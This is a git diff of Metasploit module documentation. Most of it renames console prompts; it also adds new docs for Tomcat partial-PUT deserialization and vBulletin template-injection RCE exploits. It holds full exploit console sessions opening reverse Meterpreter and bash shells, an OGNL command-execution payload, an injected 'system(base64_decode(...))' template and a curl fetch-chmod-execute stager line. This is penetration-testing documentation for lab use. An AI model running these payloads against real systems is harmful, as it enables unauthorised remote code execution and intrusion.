Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush()) [*] Command ran. Output from command: b3d9b350d9b6 [*] Exploit completed, but no session was created. -msf5 exploit(multi/http/struts_namespace_ognl) > +msf exploit(multi/http/struts_namespace_ognl) > ``` Getting a Meterpreter session on the above-described environment: ``` -msf5 > use exploit/multi/http/struts2_namespace_ognl -msf5 exploit(multi/http/struts2_namespace_ognl) > set ACTION help.action -msf5 exploit(multi/http/struts2_namespace_ognl) > set RHOSTS 192.168.199.135 -msf5 exploit(multi/http/struts2_namespace_ognl) > set RPORT 32771 -msf5 exploit(multi/http/struts2_namespace_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp -msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134 -msf5 exploit(multi/http/struts2_namespace_ognl) > run +msf > use exploit/multi/http/struts2_namespace_ognl +msf exploit(multi/http/struts2_namespace_ognl) > set ACTION help.action +msf exploit(multi/http/struts2_namespace_ognl) > set RHOSTS 192.168.199.135 +msf exploit(multi/http/struts2_namespace_ognl) > set RPORT 32771 +msf exploit(multi/http/struts2_namespace_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +msf exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134 +msf exploit(multi/http/struts2_namespace_ognl) > run [*] Started reverse TCP handler on 192.168.199.134:4444 [+] Target profiled successfully: Linux 4.4.0-112-generic amd64, running as root diff --git a/documentation/modules/exploit/multi/http/subrion_cms_file_upload_rce.md b/documentation/modules/exploit/multi/http/subrion_cms_file_upload_rce.md index a0c1de71f314e..73069869e0b16 100644 --- a/documentation/modules/exploit/multi/http/subrion_cms_file_upload_rce.md +++ b/documentation/modules/exploit/multi/http/subrion_cms_file_upload_rce.md @@ -370,15 +370,15 @@ This is the password for the Subrion CMS admin panel page, also required for exp * Using PHP payload - default TARGET 0 ``` -msf6 > use exploit/multi/http/subrion_cms_file_upload_rce +msf > use exploit/multi/http/subrion_cms_file_upload_rce [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.245.138 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.245.138 RHOSTS => 192.168.245.138 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set RPORT 8080 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set RPORT 8080 RPORT => 8080 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set LHOST eth0 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set LHOST eth0 LHOST => eth0 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > exploit +msf exploit(multi/http/subrion_cms_file_upload_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -413,17 +413,17 @@ meterpreter > * Using PHP payload - default TARGET 0 ``` -msf6 > use exploit/multi/http/subrion_cms_file_upload_rce +msf > use exploit/multi/http/subrion_cms_file_upload_rce [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.29.1 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.29.1 RHOSTS => 192.168.29.1 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set RPORT 8080 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set RPORT 8080 RPORT => 8080 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set LHOST eth0 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set LHOST eth0 LHOST => eth0 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set PASSWORD 123456 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set PASSWORD 123456 PASSWORD => 123456 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > exploit +msf exploit(multi/http/subrion_cms_file_upload_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -458,7 +458,7 @@ meterpreter > * Using PHP payload - default TARGET 0 ``` -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > run rhosts=192.168.100.103 lhost=192.168.100.1 username=admin password=123456 verbose=true targeturi=subrion/ +msf exploit(multi/http/subrion_cms_file_upload_rce) > run rhosts=192.168.100.103 lhost=192.168.100.1 username=admin password=123456 verbose=true targeturi=subrion/ [*] Started reverse TCP handler on 192.168.100.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -492,15 +492,15 @@ Meterpreter : php/windows * Using PHP paylod - default TARGET 0 ``` -msf6 > use exploit/multi/http/subrion_cms_file_upload_rce +msf > use exploit/multi/http/subrion_cms_file_upload_rce [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.29.1 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.29.1 RHOSTS => 192.168.29.1 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set LHOST eth0 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set LHOST eth0 LHOST => eth0 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set PASSWORD 123456 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set PASSWORD 123456 PASSWORD => 123456 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > exploit +msf exploit(multi/http/subrion_cms_file_upload_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -535,13 +535,13 @@ meterpreter > * Using PHP paylod - default TARGET 0 ``` -msf6 > use exploit/multi/http/subrion_cms_file_upload_rce +msf > use exploit/multi/http/subrion_cms_file_upload_rce [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.245.133 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.245.133 RHOSTS => 192.168.245.133 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set LHOST eth0 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set LHOST eth0 LHOST => 192.168.245.128 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > exploit +msf exploit(multi/http/subrion_cms_file_upload_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -577,15 +577,15 @@ meterpreter > * Using PHP paylod - default TARGET 0 ``` -msf6 > use exploit/multi/http/subrion_cms_file_upload_rce +msf > use exploit/multi/http/subrion_cms_file_upload_rce [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.195.163 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.195.163 RHOSTS => 192.168.195.163 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set LHOST tun0 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set LHOST tun0 LHOST => tun0 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > set LPORT 80 +msf exploit(multi/http/subrion_cms_file_upload_rce) > set LPORT 80 LPORT => 80 -msf6 exploit(multi/http/subrion_cms_file_upload_rce) > exploit +msf exploit(multi/http/subrion_cms_file_upload_rce) > exploit [*] Started reverse TCP handler on 192.168.45.162:80 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/sugarcrm_webshell_cve_2023_22952.md b/documentation/modules/exploit/multi/http/sugarcrm_webshell_cve_2023_22952.md index 89646e71ee160..8c58c2a595542 100644 --- a/documentation/modules/exploit/multi/http/sugarcrm_webshell_cve_2023_22952.md +++ b/documentation/modules/exploit/multi/http/sugarcrm_webshell_cve_2023_22952.md @@ -56,9 +56,9 @@ For the native PHP target, by default the `eval()` function will be used for nat ### SugarCRM 11.0.4 Enterprise Build 300 on Debian 8.6 - PHP Meterpreter session ``` -msf6 > use exploit/multi/http/sugarcrm_webshell_cve_2023_22952 +msf > use exploit/multi/http/sugarcrm_webshell_cve_2023_22952 [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > options +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > options Module options (exploit/multi/http/sugarcrm_webshell_cve_2023_22952): @@ -110,15 +110,15 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180 +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180 rhosts => 192.168.100.180 -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254 +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254 lhost => 192.168.100.254 -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444 +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444 lport => 4444 -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set target 0 +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set target 0 target => 0 -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > exploit +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > exploit [*] Started reverse TCP handler on 192.168.100.254:4444 [*] Executing PHP for php/meterpreter/reverse_tcp @@ -137,15 +137,15 @@ meterpreter > exit ### SugarCRM 11.0.4 Enterprise Build 300 on Debian 8.6 - bash reverse shell ``` -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180 +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180 rhosts => 192.168.100.180 -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254 +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254 lhost => 192.168.100.254 -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444 +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444 lport => 4444 -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set target 1 +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set target 1 target => 1 -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > exploit +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > exploit [*] Started reverse TCP handler on 192.168.100.254:4444 [*] Executing Unix Command for cmd/unix/reverse_bash @@ -159,15 +159,15 @@ exit ### SugarCRM 11.0.4 Enterprise Build 300 on Debian 8.6 - Linux Meterpreter session ``` -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180 +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set rhosts 192.168.100.180 rhosts => 192.168.100.180 -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254 +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lhost 192.168.100.254 lhost => 192.168.100.254 -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444 +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set lport 4444 lport => 4444 -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set target 2 +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > set target 2 target => 2 -msf6 exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > exploit +msf exploit(multi/http/sugarcrm_webshell_cve_2023_22952) > exploit [*] Started reverse TCP handler on 192.168.100.254:4444 [*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp diff --git a/documentation/modules/exploit/multi/http/tomcat_mgr_upload.md b/documentation/modules/exploit/multi/http/tomcat_mgr_upload.md index 090f42e46a060..5c8fdb7321f01 100644 --- a/documentation/modules/exploit/multi/http/tomcat_mgr_upload.md +++ b/documentation/modules/exploit/multi/http/tomcat_mgr_upload.md @@ -81,9 +81,9 @@ docker run \ It should be now be possible to run this module: ``` -msf6 exploit(multi/http/tomcat_mgr_upload) > use exploit/multi/http/tomcat_mgr_upload +msf exploit(multi/http/tomcat_mgr_upload) > use exploit/multi/http/tomcat_mgr_upload [*] Using configured payload java/meterpreter/reverse_tcp -msf6 exploit(multi/http/tomcat_mgr_upload) > run http://admin:admin@127.0.0.1:8888 lhost=192.168.123.1 +msf exploit(multi/http/tomcat_mgr_upload) > run http://admin:admin@127.0.0.1:8888 lhost=192.168.123.1 [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Retrieving session ID and CSRF token... diff --git a/documentation/modules/exploit/multi/http/tomcat_partial_put_deserialization.md b/documentation/modules/exploit/multi/http/tomcat_partial_put_deserialization.md new file mode 100644 index 0000000000000..7876ee1999dba --- /dev/null +++ b/documentation/modules/exploit/multi/http/tomcat_partial_put_deserialization.md @@ -0,0 +1,150 @@ +## Vulnerable Application +This module exploits a Java deserialization vulnerability in Apache Tomcat's session restoration functionality +that can be exploited with a partial HTTP PUT request to place an attacker controlled deserialization payload in the +/webapps/ROOT/ directory. For the exploit to succeed, writes must be enabled for the default servlet, +and `org.apache.catalina.session.PersistentManager` must be configured to use `org.apache.catalina.session.FileStore`. + +## Setup +Download Ubuntu Server 24: +`wget https://mirror.0xem.ma/ubuntu-releases/24.04.2/ubuntu-24.04.2-live-server-amd64.iso` + +Install ubuntu on your preferred hypervisor, enable SSH during installation. Reboot once installation is complete and SSH into the target. +Download Tomcat and Java: +``` +wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90.zip +wget https://cdn.azul.com/zulu/bin/zulu8.80.0.17-ca-jdk8.0.422-linux_x64.tar.gz +``` + +Extract the JDK Archive to the appropriate directory: +``` +tar -xvzf zulu8.80.0.17-ca-jdk8.0.422-linux_x64.tar.gz +sudo mkdir -p /opt/java +sudo mv zulu8.80.0.17-ca-jdk8.0.422-linux_x64 /opt/java/zulu8 +``` + +Install `unzip` and extract Tomcat: +``` +sudo apt install unzip -y +sudo unzip apache-tomcat-9.0.90.zip -d /opt/ +``` + +Set `CATALINA_HOME` and `JAVA_HOME` also update `PATH` by adding the following to `~/.bashrc`: +``` +export CATALINA_HOME=/opt/apache-tomcat-9.0.90 +export JAVA_HOME=/opt/java/zulu8 +export PATH=$JAVA_HOME/bin:$PATH +``` + +Apply changes: +``` +source ~/.bashrc +``` + +Change Tomcat permissions: +``` +sudo chown -R msfuser:msfuser /opt/apache-tomcat-9.0.90 +sudo chmod -R +x /opt/apache-tomcat-9.0.90/bin +``` + +Edit `conf/web.xml` and update the default servlet with the following: +``` + + default + org.apache.catalina.servlets.DefaultServlet + + debug + 0 + + + listings + false + + + readonly + false + + 1 + +``` + +Edit `conf/content.xml` and add the following inside the pre-existing `` tags: +``` + + + +``` + +Create the following directory inside the tomcat root directory: +``` +mkdir -p webapps/ROOT/WEB-INF/lib +cd ./webapps/ROOT/WEB-INF/lib +``` + +Download the following dependencies: +``` +wget https://repo1.maven.org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar +wget https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar +wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar +``` + +Start the vulnerable Tomcat instance: +``` +cd /opt/apache-tomcat-9.0.90/bin +./startup.sh +``` + +## Options + +### GADGET +The desired ysoserial gadget to use to obtain RCE. + +## Verification Steps +1. Start msfconsole +2. `use multi/http/tomcat_partial_put_deserialization` +3. `set RHOST ` +4. `set RPORT ` +5. `set GADGET ` +6. `set LHOST eth0` +7. `check` +8. `exploit` + +## Scenarios + +### Apache Tomcat 9.0.90, jdk8.0.422 running on Ubuntu Server 24. Target: Linux Command + +``` +msf > use multi/http/tomcat_partial_put_deserialization +[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp +msf exploit(multi/http/tomcat_partial_put_deserialization) > set rport 8080 +rport => 8080 +msf exploit(multi/http/tomcat_partial_put_deserialization) > set rhost 172.16.199.130 +rhost => 172.16.199.130 +msf exploit(multi/http/tomcat_partial_put_deserialization) > set gadget CommonsCollections6 +gadget => CommonsCollections6 +msf exploit(multi/http/tomcat_partial_put_deserialization) > check +[!] This exploit may require manual cleanup of '../webapps/ROOT/YLNKdGSIcB.session' on the target +[+] 172.16.199.130:8080 - The target is vulnerable. +msf exploit(multi/http/tomcat_partial_put_deserialization) > run +[*] Started reverse TCP handler on 172.16.199.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. +[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp +[*] Utilizing CommonsCollections6 deserialization chain +[+] Uploaded ysoserial payload (imNsIsZCCC.session) via partial PUT +[*] Attempting to deserialize session file.. +[+] 500 error response usually indicates success :) +[*] Sending stage (24772 bytes) to 172.16.199.130 +[+] Deleted ../webapps/ROOT/pAdshcNMRO.session +[+] Deleted ../webapps/ROOT/imNsIsZCCC.session +[*] Meterpreter session 6 opened (172.16.199.1:4444 -> 172.16.199.130:44562) at 2025-04-02 13:34:50 -0700 + +meterpreter > getuid +Server username: msfuser +meterpreter > sysinfo +Computer : msfserver +OS : Linux 6.8.0-57-generic #59-Ubuntu SMP PREEMPT_DYNAMIC Sat Mar 15 17:40:59 UTC 2025 +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/torchserver_cve_2023_43654.md b/documentation/modules/exploit/multi/http/torchserver_cve_2023_43654.md index c08d772e568bf..00f7807afd328 100644 --- a/documentation/modules/exploit/multi/http/torchserver_cve_2023_43654.md +++ b/documentation/modules/exploit/multi/http/torchserver_cve_2023_43654.md @@ -26,13 +26,13 @@ PyTorch TorchServer versions prior to 0.8.2 are affected. This module was tested ### PyTorch TorchServer 0.8.1 ``` -msf6 exploit(multi/http/torchserver_cve_2023_43654) > set RHOSTS 127.0.0.1 +msf exploit(multi/http/torchserver_cve_2023_43654) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(multi/http/torchserver_cve_2023_43654) > set PAYLOAD java/meterpreter/reverse_tcp +msf exploit(multi/http/torchserver_cve_2023_43654) > set PAYLOAD java/meterpreter/reverse_tcp PAYLOAD => java/meterpreter/reverse_tcp -msf6 exploit(multi/http/torchserver_cve_2023_43654) > set LHOST 192.168.159.128 +msf exploit(multi/http/torchserver_cve_2023_43654) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(multi/http/torchserver_cve_2023_43654) > run +msf exploit(multi/http/torchserver_cve_2023_43654) > run [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/ubiquiti_unifi_log4shell.md b/documentation/modules/exploit/multi/http/ubiquiti_unifi_log4shell.md index 206aa68b35db7..643bf106c0602 100644 --- a/documentation/modules/exploit/multi/http/ubiquiti_unifi_log4shell.md +++ b/documentation/modules/exploit/multi/http/ubiquiti_unifi_log4shell.md @@ -35,21 +35,21 @@ This uses jacobalberty/unifi:v6.5.53. Note that tags v6.5.54, v6.0.45, and v5.14 vulnerability. See [jacobalberty/unifi](https://hub.docker.com/r/jacobalberty/unifi) for more information. ``` -msf6 > use exploit/multi/http/ubiquiti_unifi_log4shell +msf > use exploit/multi/http/ubiquiti_unifi_log4shell [*] Using configured payload windows/meterpreter/reverse_tcp -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set TARGET Unix +msf exploit(multi/http/ubiquiti_unifi_log4shell) > set TARGET Unix TARGET => Unix -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RHOST 192.168.250.6 +msf exploit(multi/http/ubiquiti_unifi_log4shell) > set RHOST 192.168.250.6 RHOST => 192.168.250.6 -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set SRVHOST 192.168.250.134 +msf exploit(multi/http/ubiquiti_unifi_log4shell) > set SRVHOST 192.168.250.134 SRVHOST => 192.168.250.134 -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set LHOST 192.168.250.134 +msf exploit(multi/http/ubiquiti_unifi_log4shell) > set LHOST 192.168.250.134 LHOST => 192.168.250.134 -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set PAYLOAD cmd/unix/reverse_bash +msf exploit(multi/http/ubiquiti_unifi_log4shell) > set PAYLOAD cmd/unix/reverse_bash PAYLOAD => cmd/unix/reverse_bash -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RPORT 8443 +msf exploit(multi/http/ubiquiti_unifi_log4shell) > set RPORT 8443 RPORT => 8443 -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > exploit +msf exploit(multi/http/ubiquiti_unifi_log4shell) > exploit [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -67,21 +67,21 @@ pwd ### UniFi Network Application v6.5.53 on Windows Server 2016 ``` -msf6 > use exploit/multi/http/ubiquiti_unifi_log4shell +msf > use exploit/multi/http/ubiquiti_unifi_log4shell [*] Using configured payload windows/meterpreter/reverse_tcp -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set TARGET Windows +msf exploit(multi/http/ubiquiti_unifi_log4shell) > set TARGET Windows TARGET => Windows -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RHOST 192.168.159.65 +msf exploit(multi/http/ubiquiti_unifi_log4shell) > set RHOST 192.168.159.65 RHOST => 192.168.159.65 -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set SRVHOST 192.168.159.128 +msf exploit(multi/http/ubiquiti_unifi_log4shell) > set SRVHOST 192.168.159.128 SRVHOST => 192.168.159.128 -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set LHOST 192.168.159.128 +msf exploit(multi/http/ubiquiti_unifi_log4shell) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set RPORT 8443 +msf exploit(multi/http/ubiquiti_unifi_log4shell) > set RPORT 8443 RPORT => 8443 -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > set PAYLOAD windows/meterpreter/reverse_tcp +msf exploit(multi/http/ubiquiti_unifi_log4shell) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > exploit +msf exploit(multi/http/ubiquiti_unifi_log4shell) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -107,7 +107,7 @@ meterpreter > ### UniFi Network Application v5.14.22 on OSX 11.2.3 ``` -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > show options +msf exploit(multi/http/ubiquiti_unifi_log4shell) > show options Module options (exploit/multi/http/ubiquiti_unifi_log4shell): @@ -139,7 +139,7 @@ Exploit target: 2 Unix -msf6 exploit(multi/http/ubiquiti_unifi_log4shell) > run +msf exploit(multi/http/ubiquiti_unifi_log4shell) > run [*] Started reverse TCP handler on 222.222.2.222:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/vbulletin_getindexablecontent.md b/documentation/modules/exploit/multi/http/vbulletin_getindexablecontent.md index 5b39ecf7fb309..8965b0d9d878a 100644 --- a/documentation/modules/exploit/multi/http/vbulletin_getindexablecontent.md +++ b/documentation/modules/exploit/multi/http/vbulletin_getindexablecontent.md @@ -108,17 +108,17 @@ The base URI path of vBulletin. **Default: /** ## Scenarios ``` -msf5 > use exploit/multi/http/vbulletin_getindexablecontent -msf5 exploit(multi/http/vbulletin_getindexablecontent) > set RHOSTS vb.local +msf > use exploit/multi/http/vbulletin_getindexablecontent +msf exploit(multi/http/vbulletin_getindexablecontent) > set RHOSTS vb.local RHOSTS => vb.local -msf5 exploit(multi/http/vbulletin_getindexablecontent) > set VHOST vb.local +msf exploit(multi/http/vbulletin_getindexablecontent) > set VHOST vb.local VHOST => vb.local -msf5 exploit(multi/http/vbulletin_getindexablecontent) > set TARGETURI /vb5 +msf exploit(multi/http/vbulletin_getindexablecontent) > set TARGETURI /vb5 TARGETURI => /vb5 -msf5 exploit(multi/http/vbulletin_getindexablecontent) > set PAYLOAD 2 -msf5 exploit(multi/http/vbulletin_getindexablecontent) > check +msf exploit(multi/http/vbulletin_getindexablecontent) > set PAYLOAD 2 +msf exploit(multi/http/vbulletin_getindexablecontent) > check [*] 192.168.1.100:80 - The target appears to be vulnerable. -msf5 exploit(multi/http/vbulletin_getindexablecontent) > run +msf exploit(multi/http/vbulletin_getindexablecontent) > run [*] Executing automatic check (disable AutoCheck to override) [+] The target appears to be vulnerable. diff --git a/documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md b/documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md new file mode 100644 index 0000000000000..1ca15a12c044b --- /dev/null +++ b/documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md @@ -0,0 +1,173 @@ +## Vulnerable Application + +This Metasploit module exploits a design flaw in vBulletin’s AJAX API handler and template +rendering system, affecting **vBulletin 5.0.0 through 6.0.3** on **PHP 8.1+**. +An unauthenticated attacker can invoke the protected `vB_Api_Ad::replaceAdTemplate()` method to inject a malicious template that calls +`"system"("base64_decode"($_POST[]))`, then trigger execution via the `ajax/render/ad_` endpoint, +yielding arbitrary code execution as the webserver user. + +> **Note:** vBulletin is commercial software and is **not** included here. You must obtain a licensed copy and extract it under `./upload/`. + +--- + +## To replicate vulnerable environments + +1. **vBulletin 6.0.1 (tested)** + + * Purchase and download vBulletin 6.0.1 from the official portal. + * Extract all files into `./upload/`. + +2. **Other versions (5.0.0–6.0.3)** + + * Repeat the above with any of the supported versions. + * Ensure you run on PHP 8.1+; earlier PHP versions do not expose this flaw. + +--- + +## Docker Compose Configuration + +```yaml +services: + db: + image: mysql:5.7 + container_name: vbulletin_db + restart: unless-stopped + environment: + MYSQL_ROOT_PASSWORD: root_password_here + MYSQL_DATABASE: vbulletin + MYSQL_USER: vbulletin + MYSQL_PASSWORD: vb_password_here + volumes: + - db_data:/var/lib/mysql + + web: + build: . + container_name: vbulletin_web + depends_on: [db] + ports: ["8888:80"] + environment: + VB_DB_HOST: db + VB_DB_NAME: vbulletin + VB_DB_USER: vbulletin + VB_DB_PASS: vb_password_here + +volumes: + db_data: +``` + +Create the following **Dockerfile** and **docker-entrypoint.sh** in the same directory: + +**Dockerfile** + +```dockerfile +FROM php:8.1-apache + +COPY upload/ /var/www/html/ + +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + libzip-dev zlib1g-dev libonig-dev \ + libpng-dev libjpeg-dev libfreetype6-dev && \ + docker-php-ext-install \ + zip mysqli pdo_mysql gd mbstring && \ + a2enmod rewrite && \ + rm -rf /var/lib/apt/lists/* + +RUN echo "phar.readonly=Off" > /usr/local/etc/php/conf.d/vbulletin.ini + +COPY --chmod 755 docker-entrypoint.sh /usr/local/bin/ +ENTRYPOINT ["docker-entrypoint.sh"] +CMD ["apache2-foreground"] +``` + +**docker-entrypoint.sh** + +```bash +#!/bin/bash +chown -R www-data:www-data /var/www/html +exec "$@" +``` + +--- + +## Verification Steps + +1. **Start the environment** +```bash +docker-compose up -d +``` + +2. **Install vBulletin** +Open [http://localhost:8888](http://localhost:8888) and complete the installation: + +* **Database Host:** db +* **DB Name:** vbulletin +* **DB User:** vbulletin +* **DB Password:** vb_password_here + +3. **Run `msfconsole`** + +```bash +use exploit/multi/http/vbulletin_replace_ad_template_rce +set RHOSTS 127.0.0.1 +set RPORT 8888 +set TARGETURI / +check +``` + +--- + +## Options + +No option + +--- + +## Scenarios + +### Unauthenticated Pre-Auth RCE + +1. Ensure vBulletin 5.0.0–6.0.3 is installed and running on PHP 8.1+. +2. In `msfconsole`, configure and run: + +```bash +set RHOSTS localhost +set RPORT 8888 +set TARGETURI / +``` + +--- + +## Expected Results + +### With `cmd/linux/http/x64/meterpreter/reverse_tcp` + +```plaintext +msf exploit(multi/http/vbulletin_replace_ad_template_rce) > run http://lab:8888 +[*] Command to run on remote host: curl -so ./BGZuzbsi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA;chmod +x ./BGZuzbsi;./BGZuzbsi& +[*] Fetch handler listening on 192.168.1.36:8080 +[*] HTTP server started +[*] Adding resource /LoPlnjEpeOexZNVppn6cAA +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Starting vulnerability check on 127.0.0.1:8888/ +[*] Generating random marker and condition for mode check +[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=QuFcp) +[*] Injection response: HTTP 200 +[+] Marker found in injection response body +[+] The target is vulnerable. +[*] Generating random marker and condition for mode exploit +[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=XSGFS) +[*] Client 172.28.0.3 requested /LoPlnjEpeOexZNVppn6cAA +[*] Sending payload to 172.28.0.3 (curl/7.88.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.28.0.3 +[*] Meterpreter session 